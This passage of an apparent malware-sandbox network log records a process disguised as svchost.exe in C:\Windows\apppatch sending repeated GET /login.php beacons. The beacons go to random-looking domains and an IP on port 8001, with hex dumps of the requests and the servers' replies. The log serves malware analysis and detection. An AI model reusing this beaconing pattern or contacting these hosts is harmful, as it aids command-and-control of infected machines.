                                                                                                                                                                                                          Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 64 61 74 61 2d 61 64 62 6c 6f 63 6b 6b 65 79 3d 22 4d 46 77 77 44 51 59 4a 4b 6f 5a 49 68 76 63 4e 41 51 45 42 42 51 41 44 53 77 41 77 53 41 4a 42 41 4e 44 72 70 32 6c 7a 37 41 4f 6d 41 44 61 4e 38 74 41 35 30 4c 73 57 63 6a 4c 46 79 51 46 63 62 2f 50 32 54 78 63 35 38 6f 59 4f 65 49 4c 62 33 76 42 77 37 4a 36 66 34 70 61 6d 6b 41 51 56 53 51 75 71 59 73 4b 78 33 59 7a 64 55 48 43 76 62 56 5a 76 46 55 73 43 41 77 45 41 41 51 3d 3d 5f 51 6c 69 55 42 50 41 45 4f 45 64 4e 41 36 72 44 72 4e 4b 31 74 66 57 61 62 32 54 58 66 49 4b 49 2b 39 54 56 32 6a 52 4f 38 69 63 56 33 68 49 53 73 6b 63 46 55 4e 2f 54 35 78 39 4b 48 71 62 4a 58 75 37 37 76 6f 6a 74 79 52 4e 53 6a 32 71 45 68 34 69 35 30 51 3d 3d 22 20 6c 61 6e 67 3d 22 65 6e 22 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 32 42 32 42 32 42 3b 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <!doctype html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBANDrp2lz7AOmADaN8tA50LsWcjLFyQFcb/P2Txc58oYOeILb3vBw7J6f4pamkAQVSQuqYsKx3YzdUHCvbVZvFUsCAwEAAQ==_QliUBPAEOEdNA6rDrNK1tfWab2TXfIKI+9TV2jRO8icV3hISskcFUN/T5x9KHqbJXu77vojtyRNSj2qEh4i50Q==" lang="en" style="background: #2B2B2B;"><head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1"> <link rel="icon" href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAADElEQVQI12P4//8/AAX+Av7czFnnAAAAAElFTkSuQmCC"> <link rel="pr
                                                                                                                                                                                                          Aug 23, 2024 18:43:37.032557011 CEST731INData Raw: 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 64 69 76 20 69 64 3d 22 74 61 72 67 65
                                                                                                                                                                                                          Data Ascii: econnect" href="https://www.google.com" crossorigin></head><body><div id="target" style="opacity: 0"></div><script>window.park = "eyJ1dWlkIjoiNGM0ZDAxMDQtYTc2MS00YjFkLWIzMjItMTFjNjA5ZjIzOWM3IiwicGFnZV90aW1lIjoxNzI0NDMxNDE2LCJwYWdlX3VybCI6I


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          53192.168.2.559544154.212.231.82805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.780541897 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:37.767007113 CEST696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:37 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Aug 23, 2024 18:43:37.768205881 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:38.160063982 CEST696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:38 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          54192.168.2.55954585.17.31.12280
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:36.873982906 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          55192.168.2.559546172.234.222.143805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:42.390125990 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vojyqem.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          56192.168.2.55954713.248.169.48805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.009900093 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupydeq.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          57192.168.2.550842188.114.96.3805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.033679962 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:47.523147106 CEST791INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:47 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FwbTrNs2wrMmh0vXuAWHA7%2FGGo1MicuT%2BdSvmPQ8Pan6pxqGfMVp0tpGiP62icqHSrsasZw71tlAx6Y9R4jSOzhVYONsE4Qlr77u5U0aWpLtNAsaDQ1bY76%2FfyUYqg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c903f3d304334-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Aug 23, 2024 18:43:49.930955887 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lysyvan.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:50.959286928 CEST801INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:50 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://lysyvan.com/login.php
                                                                                                                                                                                                          CF-Cache-Status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OkPNR06g6nohNlY%2BsrqJYMNJeBde%2BZMlp8WVOuBHEQn8bt%2BihCmzOJcFLwyzvY36DOG7QcLtST4i4Z%2FwTrPVcw%2BGcZlUqsnNTpX075B9zCkuhpD%2B99A8zO%2F7RAT%2Fmw%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8b7c90556d4b4334-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          58192.168.2.55084318.208.156.248805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.214344978 CEST373OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: pupycag.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431347|1724431347|0|1|0; snkz=8.46.123.33
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.683646917 CEST333INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:46 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=2defa10e06435b44928a9b853377cfec|8.46.123.33|1724431426|1724431347|39|2|0; path=/; domain=.pupycag.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          59192.168.2.550844103.150.11.230805284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:46.279321909 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:47.171315908 CEST403INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:47 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>
                                                                                                                                                                                                          Aug 23, 2024 18:43:48.280520916 CEST268OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyrysor.com
                                                                                                                                                                                                          Content-Length: 6
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:48.599822044 CEST403INHTTP/1.1 302 Moved Temporarily
                                                                                                                                                                                                          Server: openresty/1.15.8.1
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 151
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: http://106.15.137.66:8001/dh/147287063_637385.html#index8?d=lyrysor.com
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 31 35 2e 38 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a
                                                                                                                                                                                                          Data Ascii: <html><head><title>302 Found</title></head><body><center><h1>302 Found</h1></center><hr><center>openresty/1.15.8.1</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                                                                                                                                          60192.168.2.550845106.15.137.668001
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:47.198504925 CEST295OUTGET /dh/147287063_637385.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.137.66:8001
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:48.279145002 CEST1043INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:48 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 31 2e 34 2e 33 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.21.4.3</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->HTTP/1.1 400 Bad RequestServer: openresty/1.21.4.3Date: Fri, 23 Aug 2024 16:43:48 GMTContent-Type: text/htmlContent-Length: 163Connection: close<html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty/1.21.4.3</center></body></html>


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          61192.168.2.550847106.15.137.6680015284C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Aug 23, 2024 18:43:48.608925104 CEST295OUTGET /dh/147287063_637385.html HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: 106.15.137.66:8001
                                                                                                                                                                                                          Connection: Keep-Alive
                                                                                                                                                                                                          Data Raw: 9e 84 b5 e8 71 28
                                                                                                                                                                                                          Data Ascii: q(
                                                                                                                                                                                                          Aug 23, 2024 18:43:49.688838005 CEST1043INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: openresty/1.21.4.3
                                                                                                                                                                                                          Date: Fri, 23 Aug 2024 16:43:49 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 561
                                                                                                                                                                                                          Connection: keep-alive
